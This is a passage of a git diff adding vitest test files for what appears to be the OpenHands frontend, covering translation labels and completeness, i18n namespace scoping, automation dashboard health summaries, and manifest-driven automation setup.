+++ b/__tests__/i18n/files-diff-label.test.ts
@@ -0,0 +1,22 @@
+import { describe, expect, it } from "vitest";
+import fs from "fs";
+import path from "path";
+
+// The Files-tab diff toggle was renamed from "Diff view" to just "Diff".
+// Lock that down at the source-of-truth (translation.json) rather than the
+// rendered label, because the test environment's i18next mock returns keys
+// rather than translated strings.
+describe("FILES$DIFF_VIEW label", () => {
+  const translationPath = path.join(
+    __dirname,
+    "../../src/i18n/translation.json",
+  );
+  const translation = JSON.parse(
+    fs.readFileSync(translationPath, "utf-8"),
+  ) as Record<string, Record<string, string>>;
+
+  it('uses "Diff" (not "Diff view") in English', () => {
+    expect(translation.FILES$DIFF_VIEW).toBeDefined();
+    expect(translation.FILES$DIFF_VIEW.en).toBe("Diff");
+  });
+});
diff --git a/__tests__/i18n/library-namespace.test.ts b/__tests__/i18n/library-namespace.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..f804c1980b5b4dcb201a6f37c392bfbc48c37036
--- /dev/null
+++ b/__tests__/i18n/library-namespace.test.ts
@@ -0,0 +1,64 @@
+import { describe, expect, it, vi } from "vitest";
+
+describe("library i18n namespace scoping", () => {
+  it("exports raw translation resources for host-app registration", async () => {
+    const { OPENHANDS_I18N_NAMESPACE, translationResources } = await import(
+      "../../src/i18n"
+    );
+
+    expect(OPENHANDS_I18N_NAMESPACE).toBe("openhands");
+    expect(translationResources.en).toHaveProperty("ERROR$GENERIC");
+    expect(translationResources.en).not.toHaveProperty(
+      OPENHANDS_I18N_NAMESPACE,
+    );
+  });
+
+  it("configures standalone i18n to load the openhands namespace by default", async () => {
+    const { OPENHANDS_I18N_NAMESPACE, createAgentServerI18n } = await import(
+      "../../src/i18n"
+    );
+
+    const instance = createAgentServerI18n();
+
+    expect(instance.options.defaultNS).toBe(OPENHANDS_I18N_NAMESPACE);
+    expect(instance.options.fallbackNS).toContain(OPENHANDS_I18N_NAMESPACE);
+    expect(instance.options.ns).toContain(OPENHANDS_I18N_NAMESPACE);
+  });
+
+  it(
+    "does not initialize the global i18next singleton when importing the library entry",
+    async () => {
+      vi.resetModules();
+
+      const { default: globalI18n } = await import("i18next");
+
+      await globalI18n.init({
+        lng: "en",
+        fallbackLng: "en",
+        ns: ["translation"],
+        defaultNS: "translation",
+        resources: {
+          en: {
+            translation: {
+              HOST_ONLY: "Host only",
+            },
+          },
+        },
+      });
+      globalI18n.removeResourceBundle("en", "openhands");
+
+      expect(globalI18n.hasResourceBundle("en", "openhands")).toBe(false);
+
+      await import("../../src/index");
+
+      expect(globalI18n.hasResourceBundle("en", "openhands")).toBe(false);
+      expect(globalI18n.t("HOST_ONLY")).toBe("Host only");
+    },
+    // No per-test timeout override here: importing the full `../../src/index`
+    // module graph is the heaviest import in the suite and can exceed a short
+    // budget under parallel load. Inherit the global 30s `testTimeout`
+    // (vite.config.ts) that was introduced specifically to keep the i18n
+    // namespace tests deterministic; a local 15s cap undercut that and made
+    // this test flaky.
+  );
+});
diff --git a/__tests__/i18n/sidebar-mcp-directory-label.test.ts b/__tests__/i18n/sidebar-mcp-directory-label.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..5b4e6f064c3ac5441aa6a562bfaf3994e3cb3886
--- /dev/null
+++ b/__tests__/i18n/sidebar-mcp-directory-label.test.ts
@@ -0,0 +1,21 @@
+import fs from "fs";
+import path from "path";
+import { describe, expect, it } from "vitest";
+
+// The sidebar MCP entry must not use the ambiguous "Integrations" label.
+// Lock this down at translation.json because the test i18next mock returns keys.
+describe("SIDEBAR$MCP_DIRECTORY label", () => {
+  const translationPath = path.join(
+    __dirname,
+    "../../src/i18n/translation.json",
+  );
+  const translation = JSON.parse(
+    fs.readFileSync(translationPath, "utf-8"),
+  ) as Record<string, Record<string, string>>;
+
+  it('uses "MCP Directory" (not "Integrations") in English', () => {
+    expect(translation.SIDEBAR$MCP_DIRECTORY).toBeDefined();
+    expect(translation.SIDEBAR$MCP_DIRECTORY.en).toBe("MCP Directory");
+    expect(translation.SIDEBAR$MCP_DIRECTORY.en).not.toBe("Integrations");
+  });
+});
diff --git a/__tests__/i18n/translation-completeness.test.ts b/__tests__/i18n/translation-completeness.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..e9d057de6b9e0f3b298af60449a551b43495f2d2
--- /dev/null
+++ b/__tests__/i18n/translation-completeness.test.ts
@@ -0,0 +1,136 @@
+import { describe, expect, it } from 'vitest';
+import fs from 'fs';
+import path from 'path';
+import translationChecker from '../../scripts/check-translation-completeness.cjs';
+
+const { IDENTICAL_VALUE_ALLOWLIST, getSupportedLanguageCodes, checkTranslations } =
+  translationChecker;
+
+type TranslationMap = Record<string, Record<string, string>>;
+
+const translationJson: TranslationMap = JSON.parse(
+  fs.readFileSync(
+    path.join(__dirname, '../../src/i18n/translation.json'),
+    'utf-8',
+  ),
+);
+
+const supportedLanguageCodes = getSupportedLanguageCodes();
+
+const getPlaceholders = (value: string) =>
+  (value.match(/{{\s*[^}]+}}/g) ?? []).sort();
+
+describe('checkTranslations', () => {
+  const languages = ['en', 'fr', 'ja'];
+
+  it('reports languages missing from a key', () => {
+    const { missingTranslations } = checkTranslations(
+      { 'SOME$KEY': { en: 'Hello', fr: 'Bonjour' } },
+      languages,
+    );
+
+    expect(missingTranslations).toEqual({ 'SOME$KEY': ['ja'] });
+  });
+
+  it('reports languages not in the supported list', () => {
+    const { extraLanguages } = checkTranslations(
+      { 'SOME$KEY': { en: 'Hello', fr: 'Bonjour', ja: 'こんにちは', xx: 'Hello' } },
+      languages,
+    );
+
+    expect(extraLanguages).toEqual({ 'SOME$KEY': ['xx'] });
+  });
+
+  it('flags keys where every non-English value is the English value', () => {
+    const { untranslatedKeys } = checkTranslations(
+      { 'SOME$KEY': { en: 'Hello', fr: 'Hello', ja: 'Hello' } },
+      languages,
+    );
+
+    expect(untranslatedKeys).toEqual({ 'SOME$KEY': 'Hello' });
+  });
+
+  it('does not flag allowlisted keys with identical values', () => {
+    const { untranslatedKeys } = checkTranslations(
+      { BRANDING$OPENHANDS: { en: 'OpenHands', fr: 'OpenHands', ja: 'OpenHands' } },
+      languages,
+    );
+
+    expect(untranslatedKeys).toEqual({});
+  });
+
+  it('does not flag keys translated in at least one language', () => {
+    // Cognates legitimately match English in some languages (e.g. "Terminal"
+    // in French); only the copied-everywhere pattern signals a missing
+    // translation.
+    const { untranslatedKeys } = checkTranslations(
+      { 'SOME$KEY': { en: 'Terminal', fr: 'Terminal', ja: 'ターミナル' } },
+      languages,
+    );
+
+    expect(untranslatedKeys).toEqual({});
+  });
+});
+
+describe('translation.json', () => {
+  it('exposes the supported language codes including English', () => {
+    expect(supportedLanguageCodes).toContain('en');
+    expect(supportedLanguageCodes.length).toBeGreaterThan(1);
+  });
+
+  it('has complete, translated coverage for every key', () => {
+    const { missingTranslations, extraLanguages, untranslatedKeys } =
+      checkTranslations(translationJson, supportedLanguageCodes);
+
+    expect(missingTranslations).toEqual({});
+    expect(extraLanguages).toEqual({});
+    // Regression for #1218: English values copied across all languages.
+    expect(untranslatedKeys).toEqual({});
+  });
+
+  it('has no stale entries in the identical-value allowlist', () => {
+    const staleKeys = [...IDENTICAL_VALUE_ALLOWLIST].filter(
+      (key) => !(key in translationJson),
+    );
+
+    expect(staleKeys).toEqual([]);
+  });
+
+  it('keeps the keys from #1218 translated', () => {
+    const keys = [
+      'SETTINGS$SAVE_AND_RECONNECT',
+      'SETTINGS$MCP_ERROR_URL_DUPLICATE',
+      'SETTINGS$MCP_ERROR_ENV_INVALID_FORMAT',
+    ];
+
+    keys.forEach((key) => {
+      const translations = translationJson[key];
+      expect(translations, `missing key ${key}`).toBeDefined();
+      ['ja', 'zh-CN', 'fr'].forEach((lang) => {
+        expect(
+          translations[lang],
+          `${key} is not translated for ${lang}`,
+        ).not.toBe(translations.en);
+      });
+    });
+  });
+
+  it('preserves interpolation placeholders in every translation', () => {
+    const mismatches: string[] = [];
+
+    Object.entries(translationJson).forEach(([key, translations]) => {
+      const expected = getPlaceholders(translations.en ?? '').join(',');
+
+      Object.entries(translations).forEach(([lang, value]) => {
+        if (lang === 'en') {
+          return;
+        }
+        if (getPlaceholders(value).join(',') !== expected) {
+          mismatches.push(`${key} (${lang})`);
+        }
+      });
+    });
+
+    expect(mismatches).toEqual([]);
+  });
+});
diff --git a/__tests__/manifests/automation-insights.test.ts b/__tests__/manifests/automation-insights.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..9ae25dce5919ab807b2ec6cc9707a2b29936dc7b
--- /dev/null
+++ b/__tests__/manifests/automation-insights.test.ts
@@ -0,0 +1,463 @@
+import { describe, expect, it } from "vitest";
+import {
+  applyDashboardView,
+  computeOverviewTile,
+  deriveAutomationHealth,
+  formatCompactDuration,
+  matchesAutomationSearch,
+  summarizeAutomationRuns,
+  type AutomationHealth,
+  type AutomationRunSummary,
+  type RunSummaryState,
+} from "#/manifests/automation-insights";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+
+function createAutomation(overrides: Partial<Automation> = {}): Automation {
+  return {
+    id: "widget-1",
+    name: "Widget monitor",
+    trigger: { type: "cron", schedule: "0 9 * * *" },
+    enabled: true,
+    prompt: "Watch the widgets",
+    repository: "acme/widgets",
+    model: "widget-profile",
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+    ...overrides,
+  };
+}
+
+function createRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: "2026-01-02T00:01:00Z",
+    ...overrides,
+  };
+}
+
+function settled(summary: Partial<AutomationRunSummary>): RunSummaryState {
+  return {
+    summary: {
+      total: 0,
+      completedTotal: null,
+      latestRun: null,
+      recentRuns: [],
+      recentSuccessRate: null,
+      averageDurationMs: null,
+      ...summary,
+    },
+    isLoading: false,
+    isError: false,
+  };
+}
+
+describe("deriveAutomationHealth", () => {
+  it.each<[string, Automation, RunSummaryState | undefined, AutomationHealth]>([
+    [
+      "disabled wins over a failed latest run",
+      createAutomation({ enabled: false }),
+      settled({ latestRun: createRun({ status: AutomationRunStatus.FAILED }) }),
+      "disabled",
+    ],
+    [
+      "an unsettled summary claims nothing",
+      createAutomation(),
+      { summary: null, isLoading: true, isError: false },
+      "unknown",
+    ],
+    [
+      "a summary that failed to load claims nothing",
+      createAutomation(),
+      { summary: null, isLoading: false, isError: true },
+      "unknown",
+    ],
+    [
+      "no runs yet means never-run",
+      createAutomation(),
+      settled({ latestRun: null }),
+      "never-run",
+    ],
+    [
+      "a failed latest run means failing",
+      createAutomation(),
+      settled({ latestRun: createRun({ status: AutomationRunStatus.FAILED }) }),
+      "failing",
+    ],
+    [
+      "a pending latest run means running",
+      createAutomation(),
+      settled({
+        latestRun: createRun({ status: AutomationRunStatus.PENDING }),
+      }),
+      "running",
+    ],
+    [
+      "a completed latest run means healthy",
+      createAutomation(),
+      settled({ latestRun: createRun() }),
+      "healthy",
+    ],
+    [
+      "a completed but blocked latest task means failing",
+      createAutomation(),
+      settled({
+        latestRun: createRun({
+          run_metadata: {
+            finish_tool_response: {
+              status: "blocked",
+              outcome_summary: "Missing HubSpot credentials.",
+            },
+          },
+        }),
+      }),
+      "failing",
+    ],
+    [
+      "a completed latest task with custom metadata is unknown",
+      createAutomation(),
+      settled({
+        latestRun: createRun({
+          run_metadata: {
+            finish_tool_response: { crm_contacts_checked: 12 },
+          },
+        }),
+      }),
+      "unknown",
+    ],
+    [
+      // Statuses the backend added after the dashboard's reference design:
+      // neither a success nor a failure, so not "failing".
+      "a cancelled latest run does not read as failing",
+      createAutomation(),
+      settled({
+        latestRun: createRun({ status: AutomationRunStatus.CANCELLED }),
+      }),
+      "unknown",
+    ],
+  ])("%s", (_case, automation, state, expected) => {
+    expect(deriveAutomationHealth(automation, state)).toBe(expected);
+  });
+});
+
+describe("formatCompactDuration", () => {
+  it.each<[number | null, string]>([
+    [null, "—"],
+    [12_000, "12s"],
+    [120_000, "2m"],
+    [5_400_000, "1.5h"],
+  ])("renders %s as %s", (ms, expected) => {
+    expect(formatCompactDuration(ms)).toBe(expected);
+  });
+});
+
+describe("summarizeAutomationRuns", () => {
+  it("summarizes the sample and keeps the lifetime total", () => {
+    // Arrange — newest first, mixing terminal and non-terminal statuses.
+    const runs = [
+      createRun({
+        id: "run-latest",
+        status: AutomationRunStatus.FAILED,
+        started_at: "2026-01-05T00:00:00Z",
+        completed_at: "2026-01-05T00:00:30Z",
+      }),
+      createRun({ status: AutomationRunStatus.CANCELLED, completed_at: null }),
+      createRun({ status: AutomationRunStatus.SKIPPED, completed_at: null }),
+      createRun({ status: AutomationRunStatus.RUNNING, completed_at: null }),
+      createRun({
+        id: "blocked-task",
+        started_at: "2026-01-02T00:00:00Z",
+        completed_at: "2026-01-02T00:01:00Z",
+        run_metadata: {
+          finish_tool_response: {
+            status: "blocked",
+            outcome_summary: "Missing HubSpot credentials.",
+          },
+        },
+      }),
+      createRun({
+        started_at: "2026-01-01T00:00:00Z",
+        completed_at: "2026-01-01T00:01:30Z",
+      }),
+    ];
+
+    // Act
+    const summary = summarizeAutomationRuns({ runs, total: 40 });
+
+    // Assert — success rate counts task-successful terminal runs only;
+    // total is the response's lifetime count, not the sample's length. With
+    // no status_counts and more history than the sample, the completed count
+    // is unknowable rather than guessed.
+    expect(summary).toEqual({
+      total: 40,
+      completedTotal: null,
+      latestRun: runs[0],
+      recentRuns: runs,
+      recentSuccessRate: 1 / 3,
+      averageDurationMs: (30_000 + 60_000 + 90_000) / 3,
+    });
+  });
+
+  it("reports no rate and no duration without terminal runs", () => {
+    // Arrange
+    const runs = [
+      createRun({ status: AutomationRunStatus.RUNNING, completed_at: null }),
+    ];
+
+    // Act
+    const summary = summarizeAutomationRuns({ runs, total: 1 });
+
+    // Assert
+    expect({
+      rate: summary.recentSuccessRate,
+      duration: summary.averageDurationMs,
+    }).toEqual({ rate: null, duration: null });
+  });
+
+  it("takes the lifetime completed count from status_counts", () => {
+    // Arrange — the service's counts outrank anything the sample suggests.
+    const runs = [createRun({ status: AutomationRunStatus.FAILED })];
+
+    // Act
+    const summary = summarizeAutomationRuns({
+      runs,
+      total: 80,
+      status_counts: { COMPLETED: 70, FAILED: 10 },
+    });
+
+    // Assert
+    expect(summary.completedTotal).toBe(70);
+  });
+
+  it("treats a missing COMPLETED key as zero when status_counts is present", () => {
+    // Arrange — the field is sparse, so its presence makes absence mean zero.
+    const runs = [createRun({ status: AutomationRunStatus.FAILED })];
+
+    // Act
+    const summary = summarizeAutomationRuns({
+      runs,
+      total: 1,
+      status_counts: { FAILED: 1 },
+    });
+
+    // Assert
+    expect(summary.completedTotal).toBe(0);
+  });
+
+  it("counts the sample exactly when it holds the whole history", () => {
+    // Arrange — an older service reports no status_counts, but total says the
+    // two sampled runs are all there ever were.
+    const runs = [
+      createRun(),
+      createRun({ status: AutomationRunStatus.FAILED }),
+    ];
+
+    // Act
+    const summary = summarizeAutomationRuns({ runs, total: 2 });
+
+    // Assert
+    expect(summary.completedTotal).toBe(1);
+  });
+});
+
+describe("matchesAutomationSearch", () => {
+  it.each<[string, string]>([
+    ["name", "widget MONITOR"],
+    ["prompt", "watch the"],
+    ["repository", "acme/"],
+    ["model", "widget-profile"],
+  ])("matches on %s, case-insensitively", (_field, query) => {
+    expect(matchesAutomationSearch(createAutomation(), query)).toBe(true);
+  });
+
+  it("rejects an automation matching no field", () => {
+    expect(matchesAutomationSearch(createAutomation(), "gadget")).toBe(false);
+  });
+});
+
+describe("applyDashboardView", () => {
+  const failing = createAutomation({ id: "failing", name: "B failing" });
+  const healthy = createAutomation({ id: "healthy", name: "A healthy" });
+  const evented = createAutomation({
+    id: "evented",
+    name: "C evented",
+    trigger: { type: "event", source: "github" },
+  });
+  const all = [failing, healthy, evented];
+  const byId = new Map<string, RunSummaryState>([
+    [
+      "failing",
+      settled({
+        total: 9,
+        latestRun: createRun({
+          status: AutomationRunStatus.FAILED,
+          started_at: "2026-01-03T00:00:00Z",
+        }),
+      }),
+    ],
+    [
+      "healthy",
+      settled({
+        total: 2,
+        latestRun: createRun({ started_at: "2026-01-05T00:00:00Z" }),
+      }),
+    ],
+    ["evented", settled({ total: 5, latestRun: null })],
+  ]);
+  const neutral = {
+    search: "",
+    status: "all",
+    trigger: "all",
+    sort: "name",
+  } as const;
+
+  it("keeps only latest-run failures under the failing status", () => {
+    // Act
+    const visible = applyDashboardView(
+      all,
+      { ...neutral, status: "failing" },
+      byId,
+    );
+
+    // Assert
+    expect(visible.map((a) => a.id)).toEqual(["failing"]);
+  });
+
+  it("treats every non-event trigger as a schedule", () => {
+    // Act
+    const scheduled = applyDashboardView(
+      all,
+      { ...neutral, trigger: "schedule" },
+      byId,
+    );
+    const events = applyDashboardView(
+      all,
+      { ...neutral, trigger: "event" },
+      byId,
+    );
+
+    // Assert
+    expect({
+      scheduled: scheduled.map((a) => a.id),
+      events: events.map((a) => a.id),
+    }).toEqual({ scheduled: ["healthy", "failing"], events: ["evented"] });
+  });
+
+  it("orders by lifetime run count under the runs sort", () => {
+    // Act
+    const visible = applyDashboardView(all, { ...neutral, sort: "runs" }, byId);
+
+    // Assert
+    expect(visible.map((a) => a.id)).toEqual(["failing", "evented", "healthy"]);
+  });
+
+  it("orders by newest activity under the last-run sort, falling back to last_triggered_at", () => {
+    // Arrange — no summary for the third automation, only its own timestamp.
+    const triggered = createAutomation({
+      id: "triggered",
+      name: "D triggered",
+      last_triggered_at: "2026-01-04T00:00:00Z",
+    });
+
+    // Act
+    const visible = applyDashboardView(
+      [failing, healthy, triggered],
+      { ...neutral, sort: "last-run" },
+      byId,
+    );
+
+    // Assert
+    expect(visible.map((a) => a.id)).toEqual([
+      "healthy",
+      "triggered",
+      "failing",
+    ]);
+  });
+});
+
+describe("computeOverviewTile", () => {
+  const enabled = createAutomation({ id: "on" });
+  const disabled = createAutomation({ id: "off", enabled: false });
+  const byId = new Map<string, RunSummaryState>([
+    [
+      "on",
+      settled({
+        total: 7,
+        latestRun: createRun({ status: AutomationRunStatus.FAILED }),
+        averageDurationMs: 30_000,
+      }),
+    ],
+    [
+      "off",
+      settled({
+        total: 3,
+        latestRun: createRun({ status: AutomationRunStatus.FAILED }),
+        averageDurationMs: 90_000,
+      }),
+    ],
+  ]);
+
+  it("counts automations and exposes the active count to tile copy", () => {
+    // Act
+    const value = computeOverviewTile("automations", [enabled, disabled], byId);
+
+    // Assert
+    expect(value).toEqual({
+      display: "2",
+      isZero: false,
+      placeholderValues: { active: 1 },
+    });
+  });
+
+  it("counts only failing automations for needs-attention, flagging zero", () => {
+    // Act — the disabled automation's failed history must not count.
+    const attention = computeOverviewTile(
+      "needs-attention",
+      [enabled, disabled],
+      byId,
+    );
+    const calm = computeOverviewTile("needs-attention", [disabled], byId);
+
+    // Assert
+    expect({
+      display: attention.display,
+      calmIsZero: calm.isZero,
+    }).toEqual({ display: "1", calmIsZero: true });
+  });
+
+  it("sums lifetime runs across loaded summaries", () => {
+    // Act
+    const value = computeOverviewTile("total-runs", [enabled, disabled], byId);
+
+    // Assert
+    expect(value.display).toBe("10");
+  });
+
+  it("withholds the run total until a summary has loaded", () => {
+    // Act
+    const value = computeOverviewTile("total-runs", [enabled], new Map());
+
+    // Assert
+    expect(value.display).toBe("—");
+  });
+
+  it("averages per-automation durations into a compact figure", () => {
+    // Act
+    const value = computeOverviewTile(
+      "average-duration",
+      [enabled, disabled],
+      byId,
+    );
+
+    // Assert — mean of 30s and 90s.
+    expect(value.display).toBe("1m");
+  });
+});
diff --git a/__tests__/manifests/automation-interface.test.ts b/__tests__/manifests/automation-interface.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..ade56a4924007d004ebb2cc695d2c6e7b417b605
--- /dev/null
+++ b/__tests__/manifests/automation-interface.test.ts
@@ -0,0 +1,200 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+  createInterfaceManifest,
+  createInterfaceManifestWithSubPages,
+} from "./manifest-test-data";
+
+/**
+ * The seam resolves its source once at module load, so each case installs its
+ * candidate with a module mock and imports the seam fresh.
+ */
+async function loadSeam(candidate: unknown) {
+  vi.resetModules();
+  vi.doMock("#/manifests/manifest-sources", () => ({
+    AUTOMATION_INTERFACE_CANDIDATE: candidate,
+  }));
+  return import("#/manifests/automation-interface");
+}
+
+afterEach(() => {
+  vi.doUnmock("#/manifests/manifest-sources");
+  vi.restoreAllMocks();
+});
+
+describe("the automation interface seam", () => {
+  it("has no interface at all when the package publishes no manifest", async () => {
+    // Arrange — the pinned package predates the interface export.
+    const seam = await loadSeam(undefined);
+
+    // Act & Assert — the gate is closed, and the accessors behind it refuse
+    // rather than invent copy the host does not own. Routes are the host's
+    // own registrations, so they answer either way.
+    expect(seam.hasAutomationInterface()).toBe(false);
+    expect(() => seam.getInterfaceCopy()).toThrow(
+      /No automation interface manifest is admitted/,
+    );
+    expect(() => seam.getAutomationEndpoint("createPrompt")).toThrow();
+    expect(() => seam.getAttributeSpec("timeout")).toThrow();
+    expect(() => seam.getImportExportSpec()).toThrow();
+    expect(() => seam.getFeaturedAutomationIds()).toThrow();
+    expect({
+      listPath: seam.automationListPath(),
+      setupPath: seam.automationSetupPath("github-pr-reviewer"),
+      detailPath: seam.automationDetailPath("a/b"),
+    }).toEqual({
+      listPath: "/automations",
+      setupPath: "/automations/new/github-pr-reviewer",
+      detailPath: "/automations/a%2Fb",
+    });
+  });
+
+  it("classifies pathnames inside and outside the automation surface", async () => {
+    // Arrange — routes are the host's own registrations, so the matcher
+    // answers with or without an admitted manifest.
+    const seam = await loadSeam(undefined);
+
+    // Act & Assert
+    expect({
+      list: seam.isAutomationsRoute("/automations"),
+      detail: seam.isAutomationsRoute("/automations/abc-123"),
+      templates: seam.isAutomationsRoute("/automations/templates"),
+      home: seam.isAutomationsRoute("/"),
+      conversation: seam.isAutomationsRoute("/conversations/abc-123"),
+      lookalike: seam.isAutomationsRoute("/automations-foo"),
+    }).toEqual({
+      list: true,
+      detail: true,
+      templates: true,
+      home: false,
+      conversation: false,
+      lookalike: false,
+    });
+  });
+
+  it("serves an admitted manifest's data", async () => {
+    // Arrange
+    const seam = await loadSeam(createInterfaceManifest());
+
+    // Act & Assert — copy, attribute specs, the import/export envelope, and
+    // the id lists all come from the manifest.
+    expect(seam.hasAutomationInterface()).toBe(true);
+    expect({
+      listTitle: seam.getInterfaceCopy().listTitle,
+      sidebarLabel: seam.getInterfaceCopy().sidebarLabel,
+      editTitle: seam.getInterfaceCopy().editTitle,
+      nameLabel: seam.getAttributeSpec("name").label,
+      timeoutMax: seam.getAttributeSpec("timeout").max,
+      importExport: seam.getImportExportSpec(),
+      docsUrl: seam.getAutomationsDocsUrl(),
+      featured: [...seam.getFeaturedAutomationIds()],
+      responders: [...seam.getResponderIntegrationIds()],
+    }).toEqual({
+      listTitle: "Widget automations",
+      sidebarLabel: "Automate everything",
+      editTitle: "Edit the widget automation",
+      nameLabel: "Widget name",
+      timeoutMax: 900,
+      importExport: {
+        fileKind: "widget",
+        fileVersion: 1,
+        filenameSuffix: ".widget.json",
+        importDefaults: {
+          repoProvider: "gitlab",
+          placeholderEventSource: "widget-import",
+        },
+      },
+      docsUrl: "https://docs.openhands.dev/widgets",
+      featured: ["github-pr-reviewer"],
+      responders: ["github"],
+    });
+  });
+
+  it("hides an attribute the admitted manifest does not declare", async () => {
+    // Arrange — the factory manifest declares only `name` and `timeout`.
+    const seam = await loadSeam(createInterfaceManifest());
+
+    // Act
+    const spec = seam.getAttributeSpec("prompt");
+
+    // Assert
+    expect(spec.present).toBe(false);
+  });
+
+  it("leaves the sub-page surface absent when the manifest declares none", async () => {
+    // Arrange — an admitted manifest without the sub-page group. The host has
+    // no defaults for this surface, so nothing stands in.
+    const seam = await loadSeam(createInterfaceManifest());
+
+    // Act & Assert
+    expect({
+      subPages: seam.getSubPagesSpec(),
+      dashboard: seam.getDashboardSpec(),
+      templates: seam.getTemplatesPageSpec(),
+    }).toEqual({ subPages: null, dashboard: null, templates: null });
+  });
+
+  it("serves the declared sub-page surface with routes resolved", async () => {
+    // Arrange
+    const seam = await loadSeam(createInterfaceManifestWithSubPages());
+
+    // Act
+    const subPages = seam.getSubPagesSpec();
+    const dashboard = seam.getDashboardSpec();
+    const templates = seam.getTemplatesPageSpec();
+
+    // Assert — navigation items carry the routes the manifest owns, and the
+    // dashboard spec returns the four sections whole.
+    expect({
+      subPages,
+      templatesPath: seam.automationTemplatesPath(),
+      sortDefault: dashboard?.sort.default,
+      tileMetrics: dashboard?.overview.tiles.map((tile) => tile.metric),
+      healthyLabel: dashboard?.insights.health.healthy,
+      templates,
+    }).toEqual({
+      subPages: [
+        {
+          page: "list",
+          to: "/automations",
+          label: "Widget dashboard",
+          icon: "layout-dashboard",
+        },
+        {
+          page: "templates",
+          to: "/automations/templates",
+          label: "Widget templates",
+          icon: "sparkles",
+        },
+      ],
+      templatesPath: "/automations/templates",
+      sortDefault: "name",
+      tileMetrics: [
+        "automations",
+        "needs-attention",
+        "total-runs",
+        "average-duration",
+      ],
+      healthyLabel: "Fine",
+      templates: {
+        title: "Widget templates",
+        description: "Pick a proven widget to start from.",
+      },
+    });
+  });
+
+  it("stays unavailable, loudly, when a manifest fails admission", async () => {
+    // Arrange
+    const warn = vi.spyOn(console, "warn").mockImplementation(() => {});
+    const seam = await loadSeam(
+      createInterfaceManifest({ version: "2.0" as "1.0" }),
+    );
+
+    // Assert — a rejected manifest leaves the surface closed, exactly as an
+    // absent one does, and the rejection is reported rather than silent.
+    expect({
+      available: seam.hasAutomationInterface(),
+      warned: warn.mock.calls.length,
+    }).toEqual({ available: false, warned: 1 });
+    expect(() => seam.getInterfaceCopy()).toThrow();
+  });
+});
diff --git a/__tests__/manifests/automation-setup.test.ts b/__tests__/manifests/automation-setup.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..bce1e3781a6ffd827d2424d9e3bf8ce48883a18d
--- /dev/null
+++ b/__tests__/manifests/automation-setup.test.ts
@@ -0,0 +1,425 @@
+import { describe, expect, it, vi } from "vitest";
+import incidentFixture from "@openhands/extensions/testing/automations/incident-retrospective-drafter.json";
+import prReviewerFixture from "@openhands/extensions/testing/automations/github-pr-reviewer.json";
+import repoMonitorFixture from "@openhands/extensions/testing/automations/github-repo-monitor.json";
+import {
+  automationCreateEndpoint,
+  buildAssistedMessage,
+  buildCreatePayload,
+  buildPreflightBody,
+  deriveErrorMap,
+} from "#/manifests/automation-setup";
+import {
+  mapServiceErrors,
+  normalizeServiceErrors,
+} from "#/manifests/manifest-error-map";
+import { validateFormValues } from "#/manifests/manifest-local-validation";
+import { SETUP_REGISTRY } from "#/manifests/manifest-sources";
+import type { SetupEntry, SetupFormValues } from "#/manifests/types";
+import { createSetup, createSetupEntry } from "./manifest-test-data";
+
+// The one word of a derived name the host writes rather than reads off the
+// entry is translated, and the derivation runs where no translator can be
+// passed in, so it reads the shared instance. Rendered as `en` does, because
+// the fixtures pin the sentence the service was sent; the spy is what pins the
+// key, so both halves stay covered.
+const { translate } = vi.hoisted(() => ({
+  translate: vi.fn(
+    (_key: string, options: Record<string, unknown>) =>
+      `${options.total} repositories`,
+  ),
+}));
+vi.mock("#/i18n", () => ({ default: { t: translate } }));
+
+// The command a skill publishes in its own frontmatter, which the host looks
+// up rather than storing. Pinned so the assertion does not move when the
+// packaged skills catalog does; the automation catalog itself is imported for
+// real, because pinning its derivation to the contract fixtures published
+// beside it is this file's point.
+vi.mock("@openhands/extensions/skills", () => ({
+  SKILLS_CATALOG: [
+    {
+      name: "incident-retrospective",
+      description: "Draft an incident retrospective.",
+      triggers: ["/incident-retro:setup"],
+      content: "",
+    },
+    {
+      name: "github-repo-monitor",
+      description: "Watch a GitHub repository for mentions.",
+      triggers: ["/github-monitor:poll"],
+      content: "",
+    },
+  ],
+}));
+
+/** The command each assisted entry's skill publishes, keyed by the entry it belongs to. */
+const SETUP_COMMANDS: Record<string, string> = {
+  "incident-retrospective-drafter": "/incident-retro:setup",
+  "github-repo-monitor": "/github-monitor:poll",
+};
+
+/**
+ * The reference fixtures `OpenHands/extensions` publishes with its catalog.
+ * Their request bodies were verified against the live service, and the create
+ * model forbids extra keys, so any divergence between the host's derivation
+ * and a fixture is a 422 in production rather than a cosmetic difference.
+ */
+interface FixtureExchange {
+  request: { method: string; path: string; body: Record<string, unknown> };
+  response: { status: number; body: unknown };
+}
+
+interface FixtureScenario {
+  id: string;
+  formValues?: SetupFormValues;
+  localValidation?: { valid: boolean };
+  /** Bundle entries only: where the packed archive landed. */
+  upload?: { response: { body: { tarball_path: string } } };
+  preflight?: FixtureExchange;
+  create?: FixtureExchange;
+  conversation?: { request: { action: string; message: string } };
+  expectedFieldErrors?: Record<string, string>;
+  /** False when the recorded request is deliberately not what setup sends. */
+  matchesSetupPayload?: boolean;
+}
+
+interface FixtureBundle {
+  automationId: string;
+  scenarios: FixtureScenario[];
+}
+
+const BUNDLES = [
+  prReviewerFixture,
+  repoMonitorFixture,
+  incidentFixture,
+] as FixtureBundle[];
+
+function requireEntry(automationId: string): SetupEntry {
+  const entry = SETUP_REGISTRY.findById(automationId);
+  if (!entry) throw new Error(`The registry did not admit ${automationId}`);
+  return entry;
+}
+
+function requireScenario(
+  bundle: FixtureBundle,
+  scenarioId: string,
+): FixtureScenario {
+  const scenario = bundle.scenarios.find(({ id }) => id === scenarioId);
+  if (!scenario) {
+    throw new Error(`${bundle.automationId} has no scenario ${scenarioId}`);
+  }
+  return scenario;
+}
+
+const CREATE_CASES = BUNDLES.flatMap((bundle) =>
